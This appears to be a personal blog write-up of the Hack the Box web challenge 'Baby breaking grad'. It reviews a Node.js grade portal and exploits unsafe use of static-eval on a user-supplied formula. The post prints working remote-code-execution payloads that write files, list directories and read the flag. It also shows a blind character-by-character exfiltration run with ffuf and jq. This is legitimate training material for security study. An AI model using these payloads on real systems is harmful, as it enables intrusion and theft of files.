forbytten blogs

Baby breaking grad walkthrough - Hack the Box Web Challenge

Last update:

1 Introduction

This walkthrough covers the “Baby breaking grad” challenge in the Hack the Box Web challenge category, which was rated as having an ‘easy’ difficulty. This challenge is a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container. The challenge was ‘Retired’ at the time of my attempt.

The description of the challenge is shown below.

Baby breaking grad description

The challenge was released on approximately Nov 19, 2020:

$ python3 -c 'from datetime import datetime,timedelta;  print((datetime.now() - timedelta(days=894)).strftime("%c"))'
Thu Nov 19 19:18:13 2020

The key techniques employed in this walkthrough are:

2 Artifact hash verification

The hash of the downloaded artifact was verified as follows:

$ cat 'baby breaking grad.zip.sha256'
efb67d56e915553db17f98ff24572583507e1e7b1409e9806eeeba086d74c945 *baby breaking grad.zip

$ shasum -a256 -c baby\ breaking\ grad.zip.sha256
baby breaking grad.zip: OK

3 Deploying the application locally

To facilitate local testing, the application was first deployed2 locally in a VM (Virtual Machine)3:

sudo ./build_docker.sh

4 Mapping the application

4.1 Mapping the application via interaction

  1. The target website was opened in the Burp browser, which displayed a “Grade Portal”

    The website displayed a “Grade Portal”
  2. The “Did I pass?” button was clicked, resulting in a message of “no0ooo00ooope” being displayed

    Clicking the “Did I pass?” button resulted in “no0ooo00ooope” being displayed

    The underlying Burp request initiated when the button was clicked was a POST to /api/calculate with a JSON request containing a single name field and a JSON response containing a single pass field:

    JSON request to /api/calculate returned “no0ooo00ooope” in the pass field of the response

4.2 Mapping the application via source code review

To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.

  1. From the Dockerfile, the following was observed

    1. A node base image is used and therefore the application is likely implemented in nodejs

      FROM node:lts-buster-slim
    2. The challenge is installed in /app and the root user owns the top level directory, whilst the nobody user owns the files within /app

      # Setup app
      RUN mkdir -p /app && chown -R root:root /app
      
      # Add application
      WORKDIR /app
      COPY --chown=nobody challenge .
    3. npm dependencies are installed

      # Install dependencies
      RUN npm install
    4. The Docker container runs the entrypoint.sh shell script with the arguments ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

      # Start the node-js application
      ENTRYPOINT [ "/entrypoint.sh" ]
      CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
  2. In entrypoint.sh

    1. The flag file is copied to a random filename of /app/flag$FLAG, where $FLAG is a random alphanumeric string of 5 characters length

      # Generate random flag filename
      FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
      mv /app/flag /app/flag$FLAG
    2. The final step is to execute the arguments passed to the script, namely the /usr/bin/supervisord invocation. supervisord is a “client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems”.

      exec "$@"
  3. config/supervisord.conf indicates there is a single process running, program:express on line 7, which is the nodejs Express web application executed with a command line of node /app/index.js

    [supervisord]
    nodaemon=true
    logfile=/dev/null
    logfile_maxbytes=0
    pidfile=/run/supervisord.pid
    
    [program:express]
    user=nobody
    command=node /app/index.js
    stdout_logfile=/dev/stdout
    stdout_logfile_maxbytes=0
    stderr_logfile=/dev/stderr
    stderr_logfile_maxbytes=0
  4. challenge/index.js, which was previously seen to be copied to /app/index.js in the Docker container, is an Express web application with routes imported from routes.js on lines 4 and 11, and a JSON body parser installed on line 7.

    const express       = require('express');
    const app           = express();
    const bodyParser    = require('body-parser');
    const routes        = require('./routes');
    const path          = require('path');
    
    app.use(bodyParser.json());
    app.set('views','./views');
    app.use('/static', express.static(path.resolve('static')));
    
    app.use(routes);
    
    app.all('*', (req, res) => {
        return res.status(404).send('404 page not found');
    });
    
    app.listen(1337, () => console.log('Listening on port 1337'));
  5. challenge/routes/index.js defines the /api/calculate route as follows. A student object is obtained from the request body JSON on line 12 and the conditional expression on line 22 is delegated to StudentHelper. Based on the conditional expression, the response is JSON containing a single pass field with a value of either “Passed” or else a semi random string based on the string “nope”.

    router.post('/api/calculate', (req, res) => {
        let student = req.body;
    
        if (student.name === undefined) {
            return res.send({
                error: 'Specify student name'
            })
        }
    
        let formula = student.formula || '[0.20 * assignment + 0.25 * exam + 0.25 * paper]';
    
        if (StudentHelper.isDumb(student.name) || !StudentHelper.hasPassed(student, formula)) {
            return res.send({
                'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe'
            });
        }
    
        return res.send({
            'pass': 'Passed'
        });
    });

5 Vulnerability analysis - RCE (remote code execution) vulnerability

5.1 Manual source code review

challenge/helpers/StudentHelper.js exports the hasPassed function, which builds an Abstract Syntax Tree (AST) using the esprima module and evaluates the expression using the static-eval module.

const evaluate = require('static-eval');
const parse = require('esprima').parse;

module.exports = {
    isDumb(name){
        return (name.includes('Baker') || name.includes('Purvis'));
    },

    hasPassed({ exam, paper, assignment }, formula) {
        let ast = parse(formula).body[0].expression;
        let weight = evaluate(ast, { exam, paper, assignment });

        return parseFloat(weight) >= parseFloat(10.5);
    }
};

The static-eval module npm listing contains the following security warning:

static-eval is like eval. It is intended for use in build scripts and code transformations, doing some evaluation at build time—it is NOT suitable for handling arbitrary untrusted user input. Malicious user input can execute arbitrary code.

Crucially, the formula field that is parsed and evaluated in StudentHelper.js is attacker controllable, as it is passed down from the JSON request body submitted to /api/calculate. Thus, it appears that an RCE (remote code execution) vulnerability exists.

Searching the web for “static-eval rce” leads to a link for CVE-2021-23334 - Withdrawn: Arbitrary Code Execution in static-eval. The fact the CVE has been withdrawn is discouraging. However, the details of the advisory indicate two things:

Aside: in this instance, I forgot to notice that the above PoC was published in 2021, whereas the challenge was created in 2020. As such, the exact payload I used was likely not the intended payload. However, due to the design of static-eval and how it is used in the application, I expect that exploitation of static-eval was still the intention, just with a potentially different expression.

5.2 Confirming the RCE vulnerability

The following payload was created to write the text ‘pwned’ to /app/static/pwned

$ cat payload_write_static_file.json

{"name":"smart kid", "exam": 100, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"console.log(global.process.mainModule.constructor._load('fs').writeFileSync('/app/static/pwned', 'pwned'))\")}` })()"}

The payload was delivered using curl

$ curl --proxy 127.0.0.1:8080 -k -X POST http://127.0.0.1:1337/api/calculate --json "@payload_write_static_file.json"

{"pass":"noo0o00000ope"}

The static file was retrieved, indicating remote code execution had been achieved

$ curl --proxy 127.0.0.1:8080 -k http://127.0.0.1:1337/static/pwned

pwned

However, execution against the remote target resulted in a permission denied error when attempting to open /app/static/pwned. I don’t know why there is a difference between the remote target and the local Docker container - the whole point of Docker is to ensure portability. However, it is possible the code actually deployed is different to the downloaded code. In any case, the error message still confirms the RCE vulnerability, as the code was actually executed.

$ curl --proxy 127.0.0.1:8080 -k -X POST http://161.35.40.57:31865/api/calculate --json "@payload_write_static_file_with_ls_app.json"

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: EACCES: permission denied, open &#39;/app/static/pwned&#39;<br> &nbsp; &nbsp;at Object.openSync (fs.js:458:3)<br> &nbsp; &nbsp;at Object.writeFileSync (fs.js:1355:35)<br> &nbsp; &nbsp;at eval (eval at &lt;anonymous&gt; (eval at walk (/app/node_modules/static-eval/index.js:153:20)), &lt;anonymous&gt;:1:63)<br> &nbsp; &nbsp;at eval (eval at walk (/app/node_modules/static-eval/index.js:153:20), &lt;anonymous&gt;:2:16)<br> &nbsp; &nbsp;at walk (/app/node_modules/static-eval/index.js:96:27)<br> &nbsp; &nbsp;at module.exports (/app/node_modules/static-eval/index.js:175:7)<br> &nbsp; &nbsp;at Object.hasPassed (/app/helpers/StudentHelper.js:11:22)<br> &nbsp; &nbsp;at /app/routes/index.js:22:62<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/app/node_modules/express/lib/router/route.js:137:13)</pre>
</body>
</html>
enumeration

6 Exploitation

Given the /api/calculate route never returns the actual output of the RCE, I decided to employ a blind injection attack to exfiltrate the following pieces of information separately:

What I missed was a simpler approach where a single payload could have been used to exfiltrate the flag in the error messages, as I later found in Hilbert’s writeup. As happens sometimes, I think a thought about error messages did flit through my mind but for whatever reason, my brain more readily latched onto the blind injection approach, potentially because I had recently been using blind SQL injection in an unrelated challenge. In this instance, I should have taken a step back, reassessed the steps I’d already taken and perhaps then I would have seen the obvious.

In any case, the approach I took has the characteristic that it would still be effective against the target in the event that verbose error messages were not returned by the server and is, hence, a somewhat more general technique. Furthermore, the fact that multiple techniques can be used is not unusual in offensive security.

6.1 Exfiltrating the flag file name

The following request template was defined, containing fuzzing placeholders INDEX and LETTER. The expression in the formula finds all files in the /app directory starting with “flag”, then tests if the character at index INDEX equals a given letter, LETTER. If it does, the expression evaluates to 1000, otherwise it evaluates to 0. Based on the code in challenge/routes/index.js and StudentHelper.js, the value of 1000 will result in “Passed” being returned to the client, whereas a value of 0 would result in the negative response.

As an aside, setting the exam, paper and assignment fields is unnecessary and a remnant of previous (unshown) requests I used to reinforce my understanding of the code base and to confirm the target behavior matched the source code.

$ cat request.txt

POST /api/calculate HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: curl/7.88.1
Content-Type: application/json
Accept: application/json
Content-Length: 289
Connection: close

{"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readdirSync('/app').find(file => file.startsWith('flag'))[INDEX] == 'LETTER') { 1000; } else { 0; }\")}` })()"}

Wordlists for INDEX and LETTER were created:

The request was submitted to the target using ffuf to substitute values for the INDEX and LETTER placeholders and with the -mr option configured to positively match responses which contain the text “Passed”. The results indicated the flag file name was /app/flagjpYan.

CAUTION: ffuf defaults to 40 concurrent threads, which will be overly aggressive for some real world targets but was not expected to be an issue for the Hack the Box, per-user docker instance.

└─$ ffuf -request request.txt -u http://188.166.144.53:30356/api/calculate -w flag_file_char_index_wordlist.txt:INDEX -w flag_file_name_valid_chars.txt:LETTER -mr 'Passed'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://188.166.144.53:30356/api/calculate
 :: Wordlist         : INDEX: /home/kali/flag_file_char_index_wordlist.txt
 :: Wordlist         : LETTER: /home/kali/flag_file_name_valid_chars.txt
 :: Header           : Host: 127.0.0.1:1337
 :: Header           : User-Agent: curl/7.88.1
 :: Header           : Content-Type: application/json
 :: Header           : Accept: application/json
 :: Header           : Connection: close
 :: Data             : {"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readdirSync('/app').find(file => file.startsWith('flag'))[INDEX] == 'LETTER') { 1000; } else { 0; }\")}` })()"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Regexp: Passed
________________________________________________

[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 245ms]
    * INDEX: 6
    * LETTER: Y

[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 233ms]
    * INDEX: 7
    * LETTER: a

[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 234ms]
    * INDEX: 4
    * LETTER: j

[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 244ms]
    * INDEX: 8
    * LETTER: n

[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 230ms]
    * INDEX: 5
    * LETTER: p

:: Progress: [310/310] :: Job [1/1] :: 84 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

6.2 Exfiltrating the (base64 encoded) flag length

The following request template was defined, containing fuzzing placeholders FLAGFILE and LENGTH. The expression in the formula reads the FLAGFILE, converts the contents to base644 encoding and tests if the length equals LENGTH. If it does, the expression evaluates to 1000, otherwise it evaluates to 0.

$ cat request_blind_exfil_base64_flag_length.txt

POST /api/calculate HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: curl/7.88.1
Content-Type: application/json
Accept: application/json
Content-Length: 289
Connection: close

{"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readFileSync('FLAGFILE').toString('base64').length == LENGTH) { 1000; } else { 0; }\")}` })()"}

Wordlists for FLAGFILE and LENGTH were created:

The request was submitted to the target using ffuf to substitute values for the FLAGFILE and LENGTH placeholders and with the -mr option configured to positively match responses which contain the text “Passed”. The results indicated the base64 encoded flag is 92 characters long.

└─$ ffuf -request request_blind_exfil_base64_flag_length.txt -u http://188.166.144.53:30356/api/calculate -w flag_filename.txt:FLAGFILE -w flag_base64_length_wordlist.txt:LENGTH  -mr 'Passed' -o remote_base64_flag_length_ffuf.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://188.166.144.53:30356/api/calculate
 :: Wordlist         : FLAGFILE: /home/kali/htb-baby-breaking-grad/flag_filename.txt
 :: Wordlist         : LENGTH: /home/kali/htb-baby-breaking-grad/flag_base64_length_wordlist.txt
 :: Header           : Connection: close
 :: Header           : Host: 127.0.0.1:1337
 :: Header           : User-Agent: curl/7.88.1
 :: Header           : Content-Type: application/json
 :: Header           : Accept: application/json
 :: Data             : {"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readFileSync('FLAGFILE').toString('base64').length == LENGTH) { 1000; } else { 0; }\")}` })()"}

 :: Output file      : remote_base64_flag_length_ffuf.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Regexp: Passed
________________________________________________

[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 229ms]
    * FLAGFILE: /app/flagjpYan
    * LENGTH: 92

:: Progress: [201/201] :: Job [1/1] :: 85 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

6.3 Exfiltrating the (base64 encoded) flag

The following request template was defined, containing fuzzing placeholders FLAGFILE, INDEX and LETTER. The expression in the formula reads the FLAGFILE, converts the contents to base64, then tests if the character at index INDEX equals a given letter, LETTER. If it does, the expression evaluates to 1000, otherwise it evaluates to 0.

$ cat request_blind_exfil_base64_flag.txt

POST /api/calculate HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: curl/7.88.1
Content-Type: application/json
Accept: application/json
Content-Length: 289
Connection: close

{"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readFileSync('FLAGFILE').toString('base64')[INDEX] === 'LETTER') { 1000; } else { 0; }\")}` })()"}

Wordlists for FLAGFILE, INDEX and LETTER were created:

The request was submitted to the target using ffuf to substitute values for the FLAGFILE, INDEX and LETTER placeholders and with the -mr option configured to positively match responses which contain the text “Passed”, with the ffuf JSON results output to remote_flag_base64_ffuf.txt


$ ffuf -request request_blind_exfil_base64_flag.txt -u http://188.166.144.53:30356/api/calculate -w flag_filename.txt:FLAGFILE -w flag_base64_char_index_wordlist.txt:INDEX -w base64-chars.txt:LETTER -mr 'Passed' -o remote_flag_base64_ffuf.txt


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://188.166.144.53:30356/api/calculate
 :: Wordlist         : FLAGFILE: /home/kali/htb-baby-breaking-grad/flag_filename.txt
 :: Wordlist         : INDEX: /home/kali/htb-baby-breaking-grad/flag_base64_char_index_wordlist.txt
 :: Wordlist         : LETTER: /home/kali/htb-baby-breaking-grad/base64-chars.txt
 :: Header           : Host: 127.0.0.1:1337
 :: Header           : User-Agent: curl/7.88.1
 :: Header           : Content-Type: application/json
 :: Header           : Accept: application/json
 :: Header           : Connection: close
 :: Data             : {"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readFileSync('FLAGFILE').toString('base64')[INDE
X] === 'LETTER') { 1000; } else { 0; }\")}` })()"}
 :: Output file      : remote_flag_base64_ffuf.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Regexp: Passed
________________________________________________

[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 259ms]
    * FLAGFILE: /app/flagjpYan
    * INDEX: 23
    * LETTER: 0

[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 246ms]
    * FLAGFILE: /app/flagjpYan
    * INDEX: 90
    * LETTER: 0

...

[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 228ms]
    * FLAGFILE: /app/flagjpYan
    * INDEX: 75
    * LETTER: z

[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 237ms]
    * FLAGFILE: /app/flagjpYan
    * INDEX: 91
    * LETTER: =

:: Progress: [5952/5952] :: Job [1/1] :: 84 req/sec :: Duration: [0:01:10] :: Errors: 0 ::

The structure of the results was examined using jq. For our purposes, the key fields of interest are .input.INDEX and .input.LETTER on lines 6-7 and 26-27, except that they are out of order in the results due to the multithreaded nature of ffuf.

$ jq '.results' remote_flag_base64_ffuf.txt|head -30
[
  {
    "input": {
      "FFUFHASH": "5f7d318",
      "FLAGFILE": "/app/flagjpYan",
      "INDEX": "23",
      "LETTER": "0"
    },
    "position": 24,
    "status": 200,
    "length": 17,
    "words": 1,
    "lines": 1,
    "content-type": "application/json; charset=utf-8",
    "redirectlocation": "",
    "scraper": {},
    "duration": 259205245,
    "resultfile": "",
    "url": "http://188.166.144.53:30356/api/calculate",
    "host": "127.0.0.1:1337"
  },
  {
    "input": {
      "FFUFHASH": "5f7d35b",
      "FLAGFILE": "/app/flagjpYan",
      "INDEX": "90",
      "LETTER": "0"
    },
    "position": 91,
    "status": 200,

The results were sorted by index, numerically:

$ jq '.results|sort_by(.input.INDEX|tonumber)' remote_flag_base64_ffuf.txt|head -30
[
  {
    "input": {
      "FFUFHASH": "5f7d3a2d",
      "FLAGFILE": "/app/flagjpYan",
      "INDEX": "0",
      "LETTER": "S"
    },
    "position": 2605,
    "status": 200,
    "length": 17,
    "words": 1,
    "lines": 1,
    "content-type": "application/json; charset=utf-8",
    "redirectlocation": "",
    "scraper": {},
    "duration": 236151007,
    "resultfile": "",
    "url": "http://188.166.144.53:30356/api/calculate",
    "host": "127.0.0.1:1337"
  },
  {
    "input": {
      "FFUFHASH": "5f7d3575",
      "FLAGFILE": "/app/flagjpYan",
      "INDEX": "1",
      "LETTER": "F"
    },
    "position": 1397,
    "status": 200,

Next, all letters were extracted, which should yield the correct ordering of characters in the base64 encoded flag:

$ jq '.results|sort_by(.input.INDEX|tonumber)' remote_flag_base64_ffuf.txt|grep LETTER|head

      "LETTER": "S"
      "LETTER": "F"
      "LETTER": "R"
      "LETTER": "C"
      "LETTER": "e"
      "LETTER": "2"
      "LETTER": "Y"
      "LETTER": "z"
      "LETTER": "M"
      "LETTER": "2"

The results were stripped of the ‘“LETTER”:’ string:

$ jq '.results|sort_by(.input.INDEX|tonumber)' remote_flag_base64_ffuf.txt|grep LETTER | sed -E -e 's/.*: //' |head

"S"
"F"
"R"
"C"
"e"
"2"
"Y"
"z"
"M"
"2"

The quotes and new lines were deleted, resulting in the base64 encoded flag:

$ jq '.results|sort_by(.input.INDEX|tonumber)' remote_flag_base64_ffuf.txt|grep LETTER | sed -E -e 's/.*: //' |tr -d '"\n'

SFRCe...REDACTED...hIX0=

Finally, the result was base64 decoded to obtain the flag:

└─$ jq '.results|sort_by(.input.INDEX|tonumber)' remote_flag_base64_ffuf.txt|grep LETTER | sed -E -e 's/.*: //' |tr -d '"\n'|base64 -d
HTB{f33...REDACTED...l!!}

7 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned